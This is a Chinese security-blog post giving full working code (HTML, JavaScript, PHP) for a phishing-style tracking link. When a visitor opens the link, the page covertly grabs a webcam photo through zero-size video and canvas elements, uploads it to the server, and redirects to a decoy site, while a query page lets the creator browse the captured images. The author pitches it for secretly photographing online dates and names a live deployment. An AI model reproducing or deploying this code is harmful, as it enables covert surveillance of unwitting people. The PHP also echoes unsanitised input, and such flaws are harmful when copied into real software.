黑白网(heibai.org)成立于2014年，多年来以其专业的视角，优质的服务为广大安全技术爱好者提供了目前国内最全的网络安全技术学习资料，普及中国网络安全知识，宣扬正确的黑客极客文化，全方面提高国内安全技术水平。
最近忙着开公司，所以一直没有管过黑白网。
刷抖音期间，偶然发现是2020年发布的文章点开一个网址我被记录了ip还偷拍了照片，被人实现了具体功能。
网恋奔现前先打开网址偷拍个照片看看。
趁着5.1空闲，重构了代码,并实现了具体功能。
如下图所示
图片依然存放于本地img目录，新增了查询功能，毕竟之前只是个思路.
其中sc.php为生成路径
<script>
function create() {
var input = document.getElementById('content');
var kd = document.getElementById('kd');
var myid = document.getElementById('myid');
var url = document.getElementById('url');
if (myid.value=="" || url.value==""){
alert("查询ID不能为空！");
return false;
}
kd.href = 'https://t.heibai.org/?id='+myid.value+'&url='+url.value; //修改此处的域名 必须要SSL证书 kd.style = '';
kd.innerText = 'https://t.heibai.org/?id='+myid.value+'&url='+url.value;
}
</script>
<div id="bob">
<div id="bd">
<div class="ct" style="padding:0;">
<section class="index">
<div id="bds">
<div id="content">
<div class="hd">
<div class="am-u-md-12 am-u-sm-centered">
<div class="am-form-group">
<ul id="Open" style="display:block;">
<a id="kd" style="pointer-events: none;">请先生成链接！</a>
<form action="?" class="form-sign" method="get" name="auth" onSubmit="return checkURL();">
<input type="text" class="am-form-field am-radius"id="myid" placeholder="查询id" value>
<input type="hidden" class="am-form-field am-radius" id="url" value="https://www.heibai.org">
<input type="button" value="生成链接" onclick="create();" class="am-btn am-btn-primary am-btn-block"> <br>
,chaxun.html为查询路径,通过Get形式发送数据至ck.php获取数据
chaxun.html
<form class="am-form am-margin-bottom-lg" action="ck.php" method="get" id="form-vld">
<div class="am-u-md-12 am-u-sm-centered">
<div class="am-form-group">
<input type="text" name="id" class="am-form-field am-radius" required="required" placeholder="查询id" />
<p><button type="submit" class="am-btn am-btn-primary am-btn-block">查询</button></p>
ck.php
<?php
error_reporting(0);
$type=trim($_GET['type']);
$page=isset($_GET['page'])?$_GET['page']:0;//从零开始
$id=trim($_GET['id']);
$imgnums = 3; //每页显示的图片数
$path="img"; //图片保存的目录
if ($type=="del"){
echo '确定清空所有照片？<br /><br />';
echo "<a href=?type=dell&id=$id>确定</a> <a href=javascript:history.back(-1)>返回上一页</a> <br /><br />";
exit;
}elseif($type=="dell"){
//清空照片函数
$handle = opendir($path);
while (false !== ($file = readdir($handle))) {
list($filesname,$ext)=explode(".",$file);
if($ext=="png" and explode('_', $filesname)[0]==$id) {
if (!is_dir('./'.$file)) {
unlink('./img/'.$file);
}
}
}
echo '该ID下的所有照片已经清除！<br /><br />';
}
$handle = opendir($path);
$i=0;
while (false !== ($file = readdir($handle))) {
list($filesname,$ext)=explode(".",$file);
if($ext=="png" and explode('_', $filesname)[0]==$id) {
if (!is_dir('./'.$file)) {
$array[]=$file;//保存图片名称
++$i;
}
}
}
if($array){
rsort($array);
echo "<a href=?page=$page&id=$id&type=del>清空所有照片</a> <br /><br />";
}
else{
echo "该ID下没有任何照片 <br /><br />";
}
for($j=$imgnums*$page; $j<($imgnums*$page+$imgnums)&&$j<$i; ++$j){
echo '<div>';
echo "<img src=".$path."/".$array[$j]."><br /><br />";
echo '</div>';
}
$realpage = @ceil($i / $imgnums) - 1;
$Prepage = $page-1;
$Nextpage = $page+1;
if($Prepage<0){
echo "上一页 ";
echo "<a href=?page=$Nextpage&id=$id>下一页</a> ";
echo "<a href=?page=$realpage&id=$id>末页</a> ";
}elseif($Nextpage >= $realpage){
echo "<a href=?page=0&id=$id>首页</a> ";
echo " <a href=?page=$Prepage&id=$id>上一页</a> ";
echo " 下一页";
}else{
echo "<a href=?page=0&id=$id>首页</a> ";
echo "<a href=?page=$Prepage&id=$id>上一页</a> ";
echo "<a href=?page=$Nextpage&id=$id>下一页</a> ";
echo "<a href=?page=$realpage&id=$id>末页</a> ";
}
?>
而index.php和qbl.php的关系如查询页面,不赘述。打开index.php通过post请求qbl.php进行拍照
index.php
<video id="video" width="0" height="0" autoplay></video>
<canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
<script type="text/javascript">
window.addEventListener("DOMContentLoaded", function() {
var canvas = document.getElementById('canvas');
var context = canvas.getContext('2d');
var video = document.getElementById('video');
if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
video.srcObject = stream;
video.play();
setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
setTimeout(function(){
var img = canvas.toDataURL('image/png');
document.getElementById('result').value = img;
document.getElementById('gopo').submit();
},1300);
},function(){alert("没权限看个毛线，重新进给权限！");});
}
}, false);
</script>
<form action="qbl.php?id=<?php echo $_GET['id']?>&url=<?php echo $_GET['url']?>" id="gopo" method="post">
<input type="hidden" name="img" id="result" value="" />
qbl.php
<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if(empty($id) || empty($url) || empty($base64_img)){
exit;
}
if(!file_exists($up_dir)){
mkdir($up_dir,0777);
}
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
$type = $result[2];
if(in_array($type,array('bmp','png'))){
$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
header("Location: ".$url);
}
}
?>
虽然实现了具体功能，但最大的问题依然没有解决。
在进行拍照之前，会弹出提示申请权限，若拒绝，照样白给
以搭建好的地址：t.heibai.org
以po出关键代码，别问我要源码,谢谢了
